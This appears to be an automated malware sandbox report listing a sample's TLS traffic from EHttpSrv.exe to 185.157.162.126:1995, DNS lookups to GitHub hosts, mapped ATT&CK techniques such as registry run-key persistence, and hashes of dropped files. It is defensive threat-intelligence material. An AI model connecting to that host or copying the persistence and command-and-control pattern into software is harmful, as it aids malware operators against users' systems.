185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2
185.157.162.126:1995

tls

EHttpSrv.exe

396 B
132 B
5
3
185.157.162.126:1995

tls

EHttpSrv.exe

304 B
92 B
3
2

8.8.8.8:53

github.com

dns

msiexec.exe

56 B
72 B
1
1

DNS Request

github.com

DNS Response

20.26.156.215
8.8.8.8:53

raw.githubusercontent.com

dns

msiexec.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.109.133

185.199.108.133

185.199.111.133

185.199.110.133
8.8.8.8:53

g.bing.com

dns

56 B
148 B
1
1

DNS Request

g.bing.com

DNS Response

150.171.27.10

150.171.28.10

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e58b7c4.rbs

Filesize
10KB

MD5
8175d1d1d0f5f17e2f0c0935d9713eec

SHA1
e94c03b5757b244aaf0c46b573fa3238c69edde5

SHA256
e6e2073032a4d72dc8864a1f65a81d7d1a084be8ad1188b9f0f6f22e43602852

SHA512
43f910b967e63f047326f35315a478cecd4bf1381e84304c3a17ee9c46a4559bc3055c3ed96c50d64bed65b9b5fceed1e0820fcd1c5e07bab84bacd975e6c9b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\d534a9aa

Filesize
1.0MB

MD5
ddc41168ee985b1ab6627886378fe039

SHA1
eae236e911cf6e57cad66be2746079c451be1dfa

SHA256
7bca16038ddaa826a29fbc6b2ef34ed2aef7abc354bd17050301587829bc5583

SHA512
b0c2f29ba4479561a56432c499c1941f36226a61fb38283960ff2283ca82bbf285b92f5ab0d28788513bfe2c9db9d7eefb4c79321bcb74aea660d95f6c290016

Download Submit
C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Roaming\IXXinstall\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Roaming\IXXinstall\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Roaming\IXXinstall\http_dll.dll

Filesize
1.9MB

MD5
fe47e255c704b20cb20c8ed93ec94d47

SHA1
ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

SHA256
b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

SHA512
55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

Download Submit
C:\Windows\Installer\MSIB4E4.tmp

Filesize
2.9MB

MD5
ae5b94abf028388af1454ed76806cc6f

SHA1
ef013c7eec6fc6c14ccd414b5eb87abf1476566a

SHA256
f286d2b89eaebb2e1e6e23a44bc92dae7c058348286810549f4c7514c9ea61ad

SHA512
b88c3c160b68b0bdc03780a6848001aef7baa5532b815071eb4f26ff1caa87f71b2401b0c507db5389d14517310bae758aaa17f6fe7aa508f2de38cdbcac1fe2

Download Submit
memory/580-42-0x00007FFE53E90000-0x00007FFE54085000-memory.dmp

Filesize
2.0MB

Download
memory/580-44-0x0000000075220000-0x000000007539B000-memory.dmp

Filesize
1.5MB

Download
memory/1408-57-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-55-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-46-0x0000000073720000-0x0000000074974000-memory.dmp

Filesize
18.3MB

Download
memory/1408-48-0x00007FFE53E90000-0x00007FFE54085000-memory.dmp

Filesize
2.0MB

Download
memory/1408-49-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-52-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-53-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-63-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-56-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-62-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-58-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-59-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-60-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1408-61-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4520-38-0x0000000075220000-0x000000007539B000-memory.dmp

Filesize
1.5MB

Download
memory/4520-39-0x0000000075220000-0x000000007539B000-memory.dmp

Filesize
1.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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